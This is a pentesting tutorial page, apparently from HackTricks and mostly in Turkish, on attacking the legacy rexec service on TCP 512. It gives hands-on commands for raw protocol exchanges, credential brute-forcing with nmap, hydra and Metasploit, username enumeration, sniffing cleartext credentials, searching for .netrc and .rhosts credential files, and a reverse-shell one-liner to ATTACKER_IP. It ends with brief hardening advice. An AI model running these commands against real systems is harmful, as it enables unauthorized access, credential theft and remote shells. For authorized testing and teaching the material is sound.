512 - Pentesting Rexec
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Rexec (remote exec) Berkeley’nin orijinal r-servisleri paketinin (rlogin, rsh, … ile birlikte) parçalarından biridir. Açık metin kullanıcı adı ve parola ile kimlik doğrulaması yapılan bir uzaktan komut çalıştırma yeteneği sağlar. Protokol 1980’lerin başında tanımlandı (bkz. RFC 1060) ve günümüzde tasarım gereği güvensiz olarak kabul edilir. Yine de bazı eski UNIX / ağa bağlı cihazlarda varsayılan olarak etkin olabilir ve bazen iç pentests sırasında karşımıza çıkar.
Varsayılan Port: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 Tüm trafik – kimlik bilgileri dahil – unencrypted olarak iletilir. Ağı sniffleme yeteneğine sahip herhangi biri username, password ve command’ı kurtarabilir.
Protokole hızlı bakış
- Client, TCP 512’ye bağlanır.
- Client üç NUL-terminated string gönderir:
- stdout/stderr almak istediği port numarası (ASCII olarak) (genellikle
0), - username,
- password.
- Çalıştırılacak command içeren son bir NUL-terminated string gönderilir.
- server tek bir 8-bit durum baytı ile yanıt verir (0 = success,
1= failure) ve bunu command çıktısı izler.
Eğer ilk alan non-zero ise, server client’a geri bağlantı olarak bir second TCP connection back to the client açar ve bunu stderr için kullanır. Bu, hem manual testing hem de servis etrafındaki fingerprinting filtering / firewall issues için faydalıdır.
Bu, değiş tokuşu yalnızca echo -e ve nc ile yeniden üretebileceğiniz anlamına gelir:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Eğer credentials geçerliyse, aynı connection üzerinde id çıktısını doğrudan alırsınız.
stderr’yi özel bir listener üzerinde almak istiyorsanız, server’dan size connect back yapmasını isteyin:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Many common implementations (for example GNU rexecd) still enforce 16-byte username/password fields and return different diagnostic strings for invalid usernames vs invalid passwords. That matters during enumeration because some targets leak whether the account exists before you start brute forcing.
İstemci ile manuel kullanım
Birçok Linux dağıtımı hâlâ eski istemciyi inetutils-rexec / rsh-client paketlerinde bulundurur:
rexec -l user -p password <target> "uname -a"
Eğer -p atlanırsa istemci password için etkileşimli olarak sorar (ağ üzerinde clear-text olarak görünür!).
Password’u shell history / process list içinde bırakmamak için, GNU rexec password’u stdin’den okumayı da destekler:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
Bu ağ üzerinde daha güvenli değildir; sadece saldırgan ana bilgisayarda yerel görünürlüğü azaltır.
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute NSE, yukarıda açıklanan protokolü kullanarak credentials’ı çok hızlı dener.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra’nin özel bir rexec modülü vardır ve en hızlı çevrimdışı brute-force aracı olmaya devam eder. medusa (-M REXEC) ve ncrack (rexec modülü) aynı şekilde kullanılabilir.
Sunucu mesajları yoluyla kullanıcı adı keşfi
Bazı rexecd uygulamaları Login incorrect. ile Password incorrect. gibi farklı hatalar gösterir. Bu davranışı görürseniz, önce kullanıcı adlarını doğrulayın, ardından yalnızca şifreleri brute-force ile kırın:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
Mesajlar farklıysa, büyük bir password spray göndermeden önce geçerli kullanıcı listesini oluşturun.
Kardeş r-servisleri kontrol edin
rexec kendisi parola doğrulaması kullanır, rsh / rlogin’in trusted-host mantığının aksine, ancak pratikte genellikle aynı eski paketten gelirler (openbsd-inetd, inetutils, vendor UNIX paketleri). Eğer TCP 512 açık ise, .rhosts / /etc/hosts.equiv suistimali daha kolay lateral hareket sağlayabileceğinden hemen TCP 513 ve 514’ü de kontrol edin:
nmap -sV -p 512,513,514 <target>
Ayrıca bakınız:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Modül başarılı olursa bir shell başlatır ve credentials’i veritabanına kaydeder.
Sniffing credentials
Her şey clear-text olduğu için, network captures paha biçilmezdir. Trafiğin bir kopyasıyla hedefe dokunmadan creds çıkarabilirsiniz:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC, güzel ayrıştırılmış alanları görmek için etkinleştirin.)
Post-Exploitation ipuçları
- Komutlar, sağlanan kullanıcının ayrıcalıklarıyla çalıştırılır. Eğer
/etc/pam.d/rexecyanlış yapılandırılmışsa (örn.pam_rootok), bazen root shell elde etmek mümkün olabilir. - Rexec kullanıcının shell’ini yok sayar ve komutu
/bin/sh -c <cmd>aracılığıyla çalıştırır. Bu nedenle tipik shell-escape hilelerini (;,$( ), backticks) kullanarak birden fazla komutu zincirleyebilir veya reverse shells oluşturabilirsiniz:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Parolalar genellikle
~/.netrcveya diğer sistemlerdeki eski otomasyon script’lerinde saklanır; eğer bir host’u ele geçirirseniz bunları lateral movement için yeniden kullanabilirsiniz:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Sertleştirme / Tespit
- rexec’i açığa çıkarmayın; yerine SSH kullanın. Neredeyse tüm modern inetd superserver’lar servisi varsayılan olarak yorum satırı haline getirir.
- Eğer tutmak zorundaysanız, TCP wrappers (
/etc/hosts.allow) veya firewall kuralları ile erişimi kısıtlayın ve hesap başına güçlü parolaları zorunlu kılın. - :512’ye olan trafiği ve
rexecdprocess başlatmalarını izleyin. Tek bir paket yakalama bir ele geçirmeyi tespit etmek için yeterlidir. rexec,rlogin,rsh’i birlikte devre dışı bırakın – bunlar çoğunlukla aynı kod tabanını ve zayıflıkları paylaşır.
Referanslar
- GNU Inetutils
rexecd/rexecdökümantasyonu – https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-brutedökümantasyonu – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


